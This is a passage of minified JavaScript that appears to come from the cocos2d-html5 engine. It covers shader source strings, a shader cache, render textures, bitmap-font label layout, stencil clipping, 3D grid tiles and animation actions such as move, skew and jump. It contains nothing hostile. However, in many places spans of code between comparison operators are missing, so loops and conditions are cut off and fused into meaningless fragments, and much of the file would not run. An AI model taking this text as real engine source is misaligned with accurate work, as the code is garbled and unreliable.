u_color;\nuniform float u_pointSize;\nvarying lowp vec4 v_fragmentColor; \nvoid main(void) \n{\n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n gl_PointSize \x3d u_pointSize; \n v_fragmentColor \x3d u_color; \n}";b.AS="precision lowp float; \nvarying vec4 v_fragmentColor; \nvoid main() \n{ \n gl_FragColor \x3d v_fragmentColor; \n} "; b.DS="attribute vec4 a_position;\nattribute vec4 a_color;\nvarying lowp vec4 v_fragmentColor;\nvoid main()\n{\n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_fragmentColor \x3d a_color; \n}";b.BS="// #extension GL_OES_standard_derivatives : enable\nvarying mediump vec4 v_color;\nvarying mediump vec2 v_texcoord;\nvoid main()\t\n{ \n// #if defined GL_OES_standard_derivatives\t\n// gl_FragColor \x3d v_color*smoothstep(0.0, length(fwidth(v_texcoord)), 1.0 - length(v_texcoord)); \n// #else\t\ngl_FragColor \x3d v_color * step(0.0, 1.0 - length(v_texcoord)); \n// #endif \n}"; b.CS="attribute mediump vec4 a_position; \nattribute mediump vec2 a_texcoord; \nattribute mediump vec4 a_color;\t\nvarying mediump vec4 v_color; \nvarying mediump vec2 v_texcoord;\t\nvoid main() \n{ \n v_color \x3d a_color;//vec4(a_color.rgb * a_color.a, a_color.a); \n v_texcoord \x3d a_texcoord; \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n}";b.IS="precision lowp float; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d texture2D(CC_Texture0, v_texCoord); \n}"; b.LS="attribute vec4 a_position; \nattribute vec2 a_texCoord; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_texCoord \x3d a_texCoord; \n}";b.JS="precision lowp float; \nuniform vec4 u_color; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d texture2D(CC_Texture0, v_texCoord) * u_color; \n}";b.KS="attribute vec4 a_position;\nattribute vec2 a_texCoord; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_texCoord \x3d a_texCoord; \n}"; b.ES="precision lowp float; \nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d vec4( v_fragmentColor.rgb, \n v_fragmentColor.a * texture2D(CC_Texture0, v_texCoord).a \n ); \n}";b.FS="attribute vec4 a_position; \nattribute vec2 a_texCoord; \nattribute vec4 a_color; \nvarying lowp vec4 v_fragmentColor; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_fragmentColor \x3d a_color; \n v_texCoord \x3d a_texCoord; \n}"; b.HS="precision lowp float;\nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d v_fragmentColor * texture2D(CC_Texture0, v_texCoord); \n}";b.RH="attribute vec4 a_position; \nattribute vec2 a_texCoord; \nattribute vec4 a_color; \nvarying lowp vec4 v_fragmentColor; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_fragmentColor \x3d a_color; \n v_texCoord \x3d a_texCoord; \n}"; b.GS="precision lowp float; \nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nuniform float CC_alpha_value; \nvoid main() \n{ \n vec4 texColor \x3d texture2D(CC_Texture0, v_texCoord); \n // mimic: glAlphaFunc(GL_GREATER) \n //pass if ( incoming_pixel \x3e\x3d CC_alpha_value ) \x3d\x3e fail if incoming_pixel \x3c CC_alpha_value \n if ( texColor.a \x3c\x3d CC_alpha_value ) \n discard; \n gl_FragColor \x3d texColor * v_fragmentColor; \n}"; b.W6="precision lowp float; \nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D u_texture; \nuniform sampler2D u_mask; \nvoid main() \n{ \n vec4 texColor \x3d texture2D(u_texture, v_texCoord); \n vec4 maskColor \x3d texture2D(u_mask, v_texCoord); \n vec4 finalColor \x3d vec4(texColor.r, texColor.g, texColor.b, maskColor.a * texColor.a); \n gl_FragColor \x3d v_fragmentColor * finalColor; \n}";b.Ld={gA:0,hA:1,eA:2,fA:3,jA:4,iA:5,kA:6,cI:7,t7:8,kd:{},Dr:function(){this.T1();return!0},Ge:function(a,c){switch(c){case this.gA:a.Bi(b.RH,b.HS);a.pd(b.ml,b.tb);a.pd(b.Rp,b.Ae);a.pd(b.gn,b.yd);break;case this.hA:a.Bi(b.RH,b.GS);a.pd(b.ml,b.tb);a.pd(b.Rp,b.Ae);a.pd(b.gn,b.yd);break;case this.eA:a.Bi(b.DS,b.AS);a.pd(b.ml,b.tb);a.pd(b.Rp,b.Ae);break;case this.fA:a.Bi(b.LS,b.IS);a.pd(b.ml,b.tb);a.pd(b.gn,b.yd);break;case this.jA:a.Bi(b.KS,b.JS);a.pd(b.ml,b.tb);a.pd(b.gn,b.yd);break;case this.iA:a.Bi(b.FS, b.ES);a.pd(b.ml,b.tb);a.pd(b.Rp,b.Ae);a.pd(b.gn,b.yd);break;case this.kA:a.Bi(b.NS,b.MS);a.pd("aVertex",b.tb);break;case this.cI:a.Bi(b.CS,b.BS);a.pd(b.ml,b.tb);a.pd(b.gn,b.yd);a.pd(b.Rp,b.Ae);break;default:b.log("cocos2d: cc.shaderCache._loadDefaultShader, error shader type");return}a.link();a.N4()},T1:function(){var a=new b.Vh;this.Ge(a,this.gA);this.kd[b.Ti]=a;this.kd.ShaderPositionTextureColor=a;a=new b.Vh;this.Ge(a,this.hA);this.kd[b.Hu]=a;this.kd.ShaderPositionTextureColorAlphaTest=a;a=new b.Vh; this.Ge(a,this.eA);this.kd[b.Gu]=a;this.kd.ShaderPositionColor=a;a=new b.Vh;this.Ge(a,this.fA);this.kd[b.Eq]=a;this.kd.ShaderPositionTexture=a;a=new b.Vh;this.Ge(a,this.jA);this.kd[b.Xz]=a;this.kd.ShaderPositionTextureUColor=a;a=new b.Vh;this.Ge(a,this.iA);this.kd[b.Wz]=a;this.kd.ShaderPositionTextureA8Color=a;a=new b.Vh;this.Ge(a,this.kA);this.kd[b.Yz]=a;this.kd.ShaderPositionUColor=a;a=new b.Vh;this.Ge(a,this.cI);this.kd[b.QH]=a;this.kd.ShaderPositionLengthTextureColor=a},Lga:function(){var a=this.nc(b.Ti); a.reset();this.Ge(a,this.gA);a=this.nc(b.Hu);a.reset();this.Ge(a,this.hA);a=this.nc(b.Gu);a.reset();this.Ge(a,this.eA);a=this.nc(b.Eq);a.reset();this.Ge(a,this.fA);a=this.nc(b.Xz);a.reset();this.Ge(a,this.jA);a=this.nc(b.Wz);a.reset();this.Ge(a,this.iA);a=this.nc(b.Yz);a.reset();this.Ge(a,this.kA)},nc:function(a){return this.kd[a]},Mm:function(a){return this.kd[a]},J8:function(a,c){this.kd[c]=a}};b.lR=function(){this.location=this.value=void 0;this.Ax={}}; b.Vh=b.ja.extend({ga:null,Gb:null,rf:null,Dg:null,Ab:null,kh:null,dM:!1,Me:function(a,c){if(null==a)return!1;for(var d=!0,e=null,f=0;farguments.length))switch(arguments.length){case 2:this.Gt(arguments[0],arguments[1]);break;case 3:this.X3(arguments[0],arguments[1],arguments[2]);break;case 4:this.Y3(arguments[0],arguments[1],arguments[2],arguments[3]);break;case 5:this.Ht(arguments[0],arguments[1],arguments[2], arguments[3],arguments[4])}},It:function(){var a=new b.ca,c=new b.ca,d=new b.ca;b.Px(b.Ri,a);b.Px(b.Qi,c);b.Ei(d,a,c);this.uG(this.Ab[b.uA],a.c,1);this.uG(this.Ab[b.tA],c.c,1);this.uG(this.Ab[b.Sq],d.c,1);this.dM&&(a=b.D,a=a.Nw*a.$q,this.Ht(this.Ab[b.yA],a/10,a,2*a,4*a),this.Ht(this.Ab[b.xA],a/8,a/4,a/2,Math.sin(a)),this.Ht(this.Ab[b.sA],a/8,a/4,a/2,Math.cos(a)));-1!=this.Ab[b.vA]&&this.Ht(this.Ab[b.vA],Math.random(),Math.random(),Math.random(),Math.random())},hja:function(){this.ga.uniformMatrix4fv(this.Ab[b.Sq], !1,b.a0())},ija:function(a){b.Ei(a,b.el.top,b.Gj.top);this.ga.uniformMatrix4fv(this.Ab[b.Sq],!1,a.c)},af:function(){this.ga.uniformMatrix4fv(this.Ab[b.tA],!1,b.Gj.top.c);this.ga.uniformMatrix4fv(this.Ab[b.uA],!1,b.el.top.c)},R4:function(){return this.ga.getShaderInfoLog(this.rf)},Aca:function(){return this.ga.getShaderInfoLog(this.rf)},Paa:function(){return this.ga.getShaderInfoLog(this.rf)},u_:function(){return this.ga.getShaderInfoLog(this.Dg)},tga:function(){return this.ga.getProgramInfoLog(this.Gb)}, Kba:function(){return this.ga.getProgramInfoLog(this.Gb)},reset:function(){this.Dg=this.rf=null;this.Ab.length=0;this.ga.deleteProgram(this.Gb);this.Gb=null;for(var a=0;a>1;a|=a>>2;a|=a>>4;a|=a>>8;return(a|a>>16)+1}; b.sn=b.q.extend({sprite:null,cx:0,qE:0,Fs:!1,ce:null,Ce:null,Hv:0,lr:0,li:0,K:null,ps:null,CY:null,ni:b.da.Si,Yi:null,rE:0,gB:null,ub:"RenderTexture",ctor:null,hr:function(a,c,d,e){b.q.prototype.ctor.call(this);this.Yi=b.color(255,255,255,255);this.gB="rgba(255,255,255,1)";this.ce=b.Ob("canvas");this.Ce=this.ce.getContext("2d");this.anchorY=this.anchorX=0;void 0!==a&&void 0!==c&&(d=d||b.da.Si,this.Jx(a,c,d,e||0))},ir:function(a,c,d,e){b.q.prototype.ctor.call(this);this.Yi=b.color(0,0,0,0);void 0!== a&&void 0!==c&&(d=d||b.da.Si,this.Jx(a,c,d,e||0))},Pe:null,dV:function(){b.q.prototype.vb.call(this);this.ce=this.Ce=null},eV:function(){b.q.prototype.vb.call(this);this.ps=null;var a=b.k;a.deleteFramebuffer(this.Hv);this.lr&&a.deleteRenderbuffer(this.lr);this.CY=null},wN:function(){return this.sprite},Iy:function(a){this.sprite=a},Jx:null,BW:function(a,c){var d=this.ce,e=b.rb();d.width=0|a*e;d.height=0|c*e;this.Ce.translate(0,d.height);e=new b.da;e.rd(d);e.Nb();this.sprite=b.Q.create(e);return!0}, DW:function(a,c,d,e){d==b.da.xq&&b.log("cc.RenderTexture._initWithWidthAndHeightForWebGL() : only RGB and RGBA formats are valid for a render texture;");var f=b.k,g=b.rb();a=0|a*g;c=0|c*g;this.li=f.getParameter(f.FRAMEBUFFER_BINDING);var h;b.So.Kw?(g=a,h=c):(g=b.Uj(a),h=b.Uj(c));for(var k=new Uint8Array(g*h*4),m=0;md.zd&&b.log("cc.LabelAtlas._updateAtlasValues(): Invalid String length");for(var k=d.quads,m=this.Fa,m={r:m.r,g:m.g,b:m.b,a:this.Ca},p=this.hi,r=0;ra&&d.JN(c-a))},Lc:null,hY:function(a){a=String(a);var c=a.length;this.Ib=a;this.width=c*this.hi;this.height=this.oh; if(this.s){a=this.s;for(var c=a.length,d=0;dthis.textureAtlas.totalQuads&&this.textureAtlas.XF(c);this.Ib=a;this.width=c*this.hi;this.height=this.oh;this.Op();this.quadsToDraw=c},Ba:null,eD:function(a){if(this.Ca!==a){b.Ni.prototype.Ba.call(this,a);for(var c=this.s,d=0,e=c.length;d=a)break;var v=this.Ib[f];h||(m=this.JB(r),h=!0);g||(k=m,g=!0);if(10==v.charCodeAt(0)){d.push("\n");c=c.concat(d);d.length=0;g=h=!1;k=m=-1;s--;p-=t;e++;if(f>=a)break;m||(m=this.JB(r),h=!0);k||(k=m,g=!0);f++}else if(b.vF(v))d.push(v),c=c.concat(d),d.length=0,h=!1,m=-1,f++;else if(this.$V(r)-k>this.As)if(this.JK){b.XP(d);d.push("\n");c=c.concat(d);d.length=0;g=h=!1;k=m=-1;e++;if(f>=a)break;m||(m=this.JB(r),h=!0);k||(k=m,g=!0);s--}else d.push(v),-1!=c.lastIndexOf(" ")?b.XP(c):c=[],0r)&&(s=this.Ih(r),null!=s)){s=s.Te()+s.jh()/2;h=0;switch(this.Yq){case b.un:h=this.width/2-s/2;break;case b.ZH:h=this.width-s}if(0!=h)for(s=0;sr||!(r=this.Ih(r)))||(r.x+= h);f+=g;c++;d.length=0}}else d.push(this.Ib[f])},a3:function(a){this.Yq=a;this.ng()},KV:function(){return this.Yq},f3:function(a){this.As=a;this.ng()},FB:function(){return this.As},mia:function(a){this.JK=a;this.ng()},an:function(a,c){b.q.prototype.an.call(this,a,c);this.ng()},Dt:function(a){b.q.prototype.Dt.call(this,a);this.ng()},Et:function(a){b.q.prototype.Et.call(this,a);this.ng()},Xha:function(a){if(null!=a&&a!=this.Kv){var c=b.V.Gd(a);c?(this.Kv=a,this.Jf=c,a=b.Da.Bc(c.lM),this.na=c=a.vc,this.texture= a,b.A===b.Ea&&(this.ke=this.texture),c?this.ix():a.Yd(function(a){this.na=!0;this.texture=a;this.ix();this.mk();this.ng();this.Qd()},this)):b.log("cc.LabelBMFont.setFntFile() : Impossible to create font. Please check file")}},Naa:function(){return this.Kv},fl:function(a,c){b.q.prototype.fl.call(this,a,c);this.ng()},AL:function(a){b.q.prototype.AL.call(this,a);this.ng()},XC:function(a){b.q.prototype.XC.call(this,a);this.ng()},YC:function(a){b.q.prototype.YC.call(this,a);this.ng()},N7:function(){}, f8:function(a,c){var d=0;if(this.nV.s1){var e=this.nV.s1[(a<<16|c&65535).toString()];e&&(d=e.T8)}return d},JB:function(a){return a.Te()*this.pa-a.jh()*this.pa*a.Oc.x},$V:function(a){return a.Te()*this.pa+a.jh()*this.pa*a.Oc.x}});n=b.sz.prototype;b.f(n,"opacityModifyRGB",n.ue,n.Jd);b.f(n,"opacity",n.Se,n.Ba);b.f(n,"cascadeOpacity",n.ct,n.Fp);b.f(n,"color",n.Re,n.La);b.f(n,"cascadeColor",n.bt,n.Ep);b.f(n,"string",n.Zk,n.iY);b.f(n,"boundingWidth",n.FB,n.f3);b.f(n,"textAlign",n.KV,n.a3); b.sz.create=function(a,c,d,e,f){return new b.sz(a,c,d,e,f)};b.vF=function(a){a=a.charCodeAt(0);return 9<=a&&13>=a||32==a||133==a||160==a||5760==a||8192<=a&&8202>=a||8232==a||8233==a||8239==a||8287==a||12288==a};b.XP=function(a){var c=a.length;if(!(0>=c)&&(c-=1,b.vF(a[c]))){for(var d=c-1;0<=d;--d)if(b.vF(a[d]))c=d;else break;b.P4(a,c)}};b.P4=function(a,c){var d=a.length;c>=d||0>c||a.splice(c,d)}; b.DV={nR:/info [^\n]*(\n|$)/gi,DQ:/common [^\n]*(\n|$)/gi,mS:/page [^\n]*(\n|$)/gi,CQ:/char [^\n]*(\n|$)/gi,uR:/kerning [^\n]*(\n|$)/gi,pR:/\w+=[^ \r\n]+/gi,oR:/^[\-]?\d+$/,Tr:function(a){a=a.match(this.pR);var c={};if(a)for(var d=0,e=a.length;df.width||e.scaleH>f.height)&&b.log("cc.LabelBMFont._parseCommonArguments(): page can't be larger than supported")}1!==e.pages&&b.log("cc.LabelBMFont._parseCommonArguments(): only supports 1 page");e=this.Tr(a.match(this.mS)[0]);0!==e.id&&b.log("cc.LabelBMFont._parseImageFileName() : file could not be found");d.lM=b.path.Po(c,e.file);for(var g=a.match(this.CQ),h=d.t_={},e=0,f=g.length;e=this.Ck||!this.texture||!this.texture.vc||(a=a||b.k,b.kt(this),b.Ic(b.Gl),b.Mh(this.o.src, this.o.U),b.te(this.texture),a.bindBuffer(a.ARRAY_BUFFER,this.bd),a.bufferData(a.ARRAY_BUFFER,this.Ua,a.DYNAMIC_DRAW),a.vertexAttribPointer(b.tb,2,a.FLOAT,!1,0,0),a.bindBuffer(a.ARRAY_BUFFER,this.Bo),a.bufferData(a.ARRAY_BUFFER,this.Xf,a.DYNAMIC_DRAW),a.vertexAttribPointer(b.yd,2,a.FLOAT,!1,0,0),a.bindBuffer(a.ARRAY_BUFFER,this.Mn),a.bufferData(a.ARRAY_BUFFER,this.Ln,a.DYNAMIC_DRAW),a.vertexAttribPointer(b.Ae,4,a.UNSIGNED_BYTE,!0,0,0),a.drawArrays(a.TRIANGLE_STRIP,0,2*this.Ck),b.bg++)},update:function(a){if(this.Li){a*= this.yB;var c,d,e,f,g=0,h=this.Ck,k=this.yC,m=this.zC,p=this.Ua,r=this.Ln;for(e=0;e=k[e]?g++:(c=e-g,0=this.fC?e=!1:0this.Gn){var d=b.Yb.BYTES_PER_ELEMENT;this.Gn+=Math.max(this.Gn,a);if(null==c||0===c.length)this.cb=[],this.yj=new ArrayBuffer(d*this.Gn),this.TL=new Uint8Array(this.yj); else{a=[];for(var e=new ArrayBuffer(d*this.Gn),f=0;f=c)){d={r:0|d.r,g:0|d.g,b:0|d.b,a:0|d.a};var f=[],g,h,k,m,p=a.length;for(g=0;g=b.Kt&&b.log("Stencil buffer is not enabled."),b.Xb.UB=!1);return!0},vW:function(a){this.md=a;this.xm=1;this.Nh=!1},ba:function(){b.q.prototype.ba.call(this);this.md.ba()},Qh:function(){b.q.prototype.Qh.call(this); this.md.Qh()},dg:function(){this.md.dg();b.q.prototype.dg.call(this)},vb:function(){this.md.vb();b.q.prototype.vb.call(this)},T:null,zs:function(a){var c=a||b.k;if(1>b.Kt)b.q.prototype.T.call(this,a);else if(this.md&&this.md.visible)if(b.Xb.Ir=-1,b.Xb.Ir+1==b.Kt)b.Xb.ZD=!0,b.Xb.ZD&&(b.log("Nesting more than "+b.Kt+"stencils is not supported. Everything will be drawn without stencil for this node and its childs."),b.Xb.ZD=!1),b.q.prototype.T.call(this,a);else{b.Xb.Ir++;var d=1<this.xm){var d=b.Ld.nc(b.Hu),t=c.getUniformLocation(d.Mm(),b.II);b.cF(d.Mm());d.Gt(t,this.xm);b.nP(this.md,d)}b.Pm();this.transform();this.md.T();b.Om();c.depthMask(u);c.stencilFunc(c.EQUAL,e,e);c.stencilOp(c.KEEP,c.KEEP,c.KEEP);b.q.prototype.T.call(this,a);c.stencilFunc(h,k,m);c.stencilOp(p,r,s);c.stencilMask(g);f||c.disable(c.STENCIL_TEST);b.Xb.Ir--}else this.Nh&&b.q.prototype.T.call(this,a)},tm:function(a){if(this.md&&this.md.visible){a= a||b.k;var c=a.canvas;if(this.bB()||this.md instanceof b.Q){var d=b.Xb.lW();d.width=c.width;d.height=c.height;d.getContext("2d").drawImage(c,0,0);a.save();b.q.prototype.T.call(this,a);a.globalCompositeOperation=this.Nh?"destination-out":"destination-in";this.transform(a);this.md.T();a.restore();a.save();a.setTransform(1,0,0,1,0,0);a.globalCompositeOperation="destination-over";a.drawImage(d,0,0)}else{var d=this.s,e;a.save();this.transform(a);this.md.T(a);this.Nh&&(a.save(),a.setTransform(1,0,0,1,0, 0),a.moveTo(0,0),a.lineTo(0,c.height),a.lineTo(c.width,c.height),a.lineTo(c.width,0),a.lineTo(0,0),a.restore());a.clip();this.bB(!0);var f=d.length;if(0e.zb)e.T(a);else break;for(this.Z(a);ck;++k)s[u[k]]=E[k].x,s[u[k]+1]=E[k].y,s[u[k]+2]=E[k].z,p[y[k]]=t[k].x/c,p[y[k]+1]=r?(e-t[k].y)/d:t[k].y/d}this.ij=new Float32Array(this.Ua);a.bindBuffer(a.ARRAY_BUFFER,this.bd);a.bufferData(a.ARRAY_BUFFER, this.Ua,a.DYNAMIC_DRAW);a.bindBuffer(a.ARRAY_BUFFER,this.Wf);a.bufferData(a.ARRAY_BUFFER,this.Kg,a.DYNAMIC_DRAW);a.bindBuffer(a.ELEMENT_ARRAY_BUFFER,this.Pf);a.bufferData(a.ELEMENT_ARRAY_BUFFER,this.nb,a.STATIC_DRAW);this.lb=!0}});b.nz.create=function(a,c,d){return new b.nz(a,c,d)}; b.nA=b.mn.extend({Kg:null,Ua:null,ij:null,nb:null,Wf:null,bd:null,Pf:null,ctor:function(a,c,d){b.mn.prototype.ctor.call(this);this.Pf=this.bd=this.Wf=this.nb=this.ij=this.Ua=this.Kg=null;void 0!==a&&this.Ix(a,c,d)},LP:function(a){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.TiledGrid3D.tile() : Numbers must be integers");a=12*(this.Y.height*a.x+a.y);var c=this.Ua;return new b.Du(new b.tc(c[a],c[a+1],c[a+2]),new b.tc(c[a+3],c[a+4],c[a+5]),new b.tc(c[a+6],c[a+7],c[a+8]),new b.tc(c[a+9],c[a+10],c[a+11]))}, eg:function(a){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.TiledGrid3D.originalTile() : Numbers must be integers");a=12*(this.Y.height*a.x+a.y);var c=this.ij;return new b.Du(new b.tc(c[a],c[a+1],c[a+2]),new b.tc(c[a+3],c[a+4],c[a+5]),new b.tc(c[a+6],c[a+7],c[a+8]),new b.tc(c[a+9],c[a+10],c[a+11]))},$e:function(a,c){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.TiledGrid3D.setTile() : Numbers must be integers");var d=12*(this.Y.height*a.x+a.y),e=this.Ua;e[d]=c.F.x;e[d+1]=c.F.y;e[d+2]=c.F.z;e[d+3]=c.M.x;e[d+ 4]=c.M.y;e[d+5]=c.M.z;e[d+6]=c.L.x;e[d+7]=c.L.y;e[d+8]=c.L.z;e[d+9]=c.J.x;e[d+10]=c.J.y;e[d+11]=c.J.z;this.lb=!0},hE:function(){var a=this.Y.width*this.Y.height;this.Hb.Mc();this.Hb.It();var c=b.k,d=this.lb;b.Ic(b.Od|b.wn);c.bindBuffer(c.ARRAY_BUFFER,this.bd);d&&c.bufferData(c.ARRAY_BUFFER,this.Ua,c.DYNAMIC_DRAW);c.vertexAttribPointer(b.tb,3,c.FLOAT,!1,0,this.Ua);c.bindBuffer(c.ARRAY_BUFFER,this.Wf);d&&c.bufferData(c.ARRAY_BUFFER,this.Kg,c.DYNAMIC_DRAW);c.vertexAttribPointer(b.yd,2,c.FLOAT,!1,0,this.Kg); c.bindBuffer(c.ELEMENT_ARRAY_BUFFER,this.Pf);d&&c.bufferData(c.ELEMENT_ARRAY_BUFFER,this.nb,c.STATIC_DRAW);c.drawElements(c.TRIANGLES,6*a,c.UNSIGNED_SHORT,0);d&&(this.lb=!1);b.cg()},ZF:function(){if(0=this.m},ya:function(a){a.Zr=this.Zr;a.ne=this.ne;a.ec=this.ec;a.Cg=this.Cg;a.es=this.es;a.to=this.to},le:function(a){if(this.Cg){a.Cg=[];for(var c=0;ca?a:1;this.update(0=a)return b.log("The speed parameter error"),this;this.es=!0;this.ne*=a;return this},sx:function(){return this.ne}, Ye:function(a){this.ne=a;return this},repeat:function(a){a=Math.round(a);if(isNaN(a)||1>a)return b.log("The repeat parameter error"),this;this.to=!0;this.ec*=a;return this},Q2:function(){this.to=!0;this.ec=this.MAX_VALUE;this.Zr=!0;return this}});b.u.create=function(a){return new b.u(a)}; b.qa=b.u.extend({If:null,NL:null,Hr:0,ctor:function(a){b.u.prototype.ctor.call(this);this.If=[];var c=a instanceof Array?a:arguments,d=c.length-1;0<=d&&null==c[d]&&b.log("parameters should not be ending with null in Javascript");if(0<=d){for(var e=c[0],f=1;f=f){for(;a>f&&this.Skf?this.zj=b.qa.Ui(c,b.pc.create(e- f)):ed&&(d+=360);this.fs=c;this.qJ=d;this.yo=a.rotationY%360;a=this.sB-this.yo;180a&&(a+=360); this.rJ=a},reverse:function(){b.log("cc.RotateTo.reverse(): it should be overridden in subclass.")},update:function(a){a=this.hd(a);this.target&&(this.target.rotationX=this.fs+this.qJ*a,this.target.rotationY=this.yo+this.rJ*a)}});b.Eu.create=function(a,c,d){return new b.Eu(a,c,d)}; b.Vj=b.u.extend({gh:0,fs:0,ev:0,yo:0,ctor:function(a,c,d){b.u.prototype.ctor.call(this);void 0!==c&&this.d(a,c,d)},d:function(a,c,d){return b.u.prototype.d.call(this,a)?(this.gh=c||0,this.ev=d||this.gh,!0):!1},j:function(){var a=new b.Vj;this.ya(a);a.d(this.m,this.gh,this.ev);return a},v:function(a){b.u.prototype.v.call(this,a);this.fs=a.rotationX;this.yo=a.rotationY},update:function(a){a=this.hd(a);this.target&&(this.target.rotationX=this.fs+this.gh*a,this.target.rotationY=this.yo+this.ev*a)},reverse:function(){var a= b.Vj.create(this.m,-this.gh,-this.ev);this.ya(a);this.le(a);return a}});b.Vj.create=function(a,c,d){var e=new b.Vj;e.d(a,c,d);return e}; b.df=b.u.extend({oi:null,Fc:null,Qc:null,ctor:function(a,c,d){b.u.prototype.ctor.call(this);this.oi=N(0,0);this.Fc=N(0,0);this.Qc=N(0,0);void 0!==c&&this.d(a,c,d)},d:function(a,c,d){return b.u.prototype.d.call(this,a)?(void 0!==c.x&&(d=c.y,c=c.x),this.oi.x=c,this.oi.y=d,!0):!1},j:function(){var a=new b.df;this.ya(a);a.d(this.m,this.oi);return a},v:function(a){b.u.prototype.v.call(this,a);var c=a.Te();a=a.Ng();this.Qc.x=c;this.Qc.y=a;this.Fc.x=c;this.Fc.y=a},update:function(a){a=this.hd(a);if(this.target){var c= this.oi.x*a;a*=this.oi.y;var d=this.Fc;if(b.au){var e=this.target.Ng(),f=this.Qc;d.x=d.x+this.target.Te()-f.x;d.y=d.y+e-f.y;c+=d.x;a+=d.y;f.x=c;f.y=a;this.target.P(c,a)}else this.target.P(d.x+c,d.y+a)}},reverse:function(){var a=b.df.create(this.m,N(-this.oi.x,-this.oi.y));this.ya(a);this.le(a);return a}});b.df.create=function(a,c,d){return new b.df(a,c,d)}; b.wq=b.df.extend({Mf:null,ctor:function(a,c,d){b.df.prototype.ctor.call(this);this.Mf=N(0,0);void 0!==c&&this.d(a,c,d)},d:function(a,c,d){return b.df.prototype.d.call(this,a,c,d)?(void 0!==c.x&&(d=c.y,c=c.x),this.Mf.x=c,this.Mf.y=d,!0):!1},j:function(){var a=new b.wq;this.ya(a);a.d(this.m,this.Mf);return a},v:function(a){b.df.prototype.v.call(this,a);this.oi.x=this.Mf.x-a.Te();this.oi.y=this.Mf.y-a.Ng()}});b.wq.create=function(a,c,d){return new b.wq(a,c,d)}; b.Xj=b.u.extend({xh:0,yh:0,Bw:0,Cw:0,Cv:0,Dv:0,gf:0,hf:0,ctor:function(a,c,d){b.u.prototype.ctor.call(this);void 0!==d&&this.d(a,c,d)},d:function(a,c,d){var e=!1;b.u.prototype.d.call(this,a)&&(this.Cv=c,this.Dv=d,e=!0);return e},j:function(){var a=new b.Xj;this.ya(a);a.d(this.m,this.Cv,this.Dv);return a},v:function(a){b.u.prototype.v.call(this,a);this.Bw=a.skewX%180;this.gf=this.Cv-this.Bw;180this.gf&&(this.gf+=360);this.Cw=a.skewY%360;this.hf=this.Dv-this.Cw;180this.hf&&(this.hf+=360)},update:function(a){a=this.hd(a);this.target.skewX=this.Bw+this.gf*a;this.target.skewY=this.Cw+this.hf*a}});b.Xj.create=function(a,c,d){return new b.Xj(a,c,d)}; b.Gq=b.Xj.extend({ctor:function(a,c,d){b.Xj.prototype.ctor.call(this);void 0!==d&&this.d(a,c,d)},d:function(a,c,d){var e=!1;b.Xj.prototype.d.call(this,a,c,d)&&(this.xh=c,this.yh=d,e=!0);return e},j:function(){var a=new b.Gq;this.ya(a);a.d(this.m,this.xh,this.yh);return a},v:function(a){b.Xj.prototype.v.call(this,a);this.gf=this.xh;this.hf=this.yh;this.Cv=this.Bw+this.gf;this.Dv=this.Cw+this.hf},reverse:function(){var a=b.Gq.create(this.m,-this.xh,-this.yh);this.ya(a);this.le(a);return a}}); b.Gq.create=function(a,c,d){var e=new b.Gq;e&&e.d(a,c,d);return e}; b.tg=b.u.extend({Fc:null,ei:null,Br:0,fj:0,Qc:null,ctor:function(a,c,d,e,f){b.u.prototype.ctor.call(this);this.Fc=N(0,0);this.Qc=N(0,0);this.ei=N(0,0);void 0!==e&&this.d(a,c,d,e,f)},d:function(a,c,d,e,f){return b.u.prototype.d.call(this,a)?(void 0===f&&(f=e,e=d,d=c.y,c=c.x),this.ei.x=c,this.ei.y=d,this.Br=e,this.fj=f,!0):!1},j:function(){var a=new b.tg;this.ya(a);a.d(this.m,this.ei,this.Br,this.fj);return a},v:function(a){b.u.prototype.v.call(this,a);var c=a.Te();a=a.Ng();this.Qc.x=c;this.Qc.y=a; this.Fc.x=c;this.Fc.y=a},update:function(a){a=this.hd(a);if(this.target){var c=a*this.fj%1,c=4*this.Br*c*(1-c),c=c+this.ei.y*a;a*=this.ei.x;var d=this.Fc;if(b.au){var e=this.target.Ng(),f=this.Qc;d.x=d.x+this.target.Te()-f.x;d.y=d.y+e-f.y;a+=d.x;c+=d.y;f.x=a;f.y=c;this.target.P(a,c)}else this.target.P(d.x+a,d.y+c)}},reverse:function(){var a=b.tg.create(this.m,N(-this.ei.x,-this.ei.y),this.Br,this.fj);this.ya(a);this.le(a);return a}});b.tg.create=function(a,c,d,e,f){return new b.tg(a,c,d,e,f)}; b.xu=b.tg.extend({Mf:null,ctor:function(a,c,d,e,f){b.tg.prototype.ctor.call(this);this.Mf=N(0,0);void 0!==e&&this.d(a,c,d,e,f)},d:function(a,c,d,e,f){return b.tg.prototype.d.call(this,a,c,d,e,f)?(void 0===f&&(d=c.y,c=c.x),this.Mf.x=c,this.Mf.y=d,!0):!1},v:function(a){b.tg.prototype.v.call(this,a);this.ei.x=this.Mf.x-this.Fc.x;this.ei.y=this.Mf.y-this.Fc.y},j:function(){var a=new b.xu;this.ya(a);a.d(this.m,this.Mf,this.Br,this.fj);return a}}); b.xu.create=function(a,c,d,e,f){return new 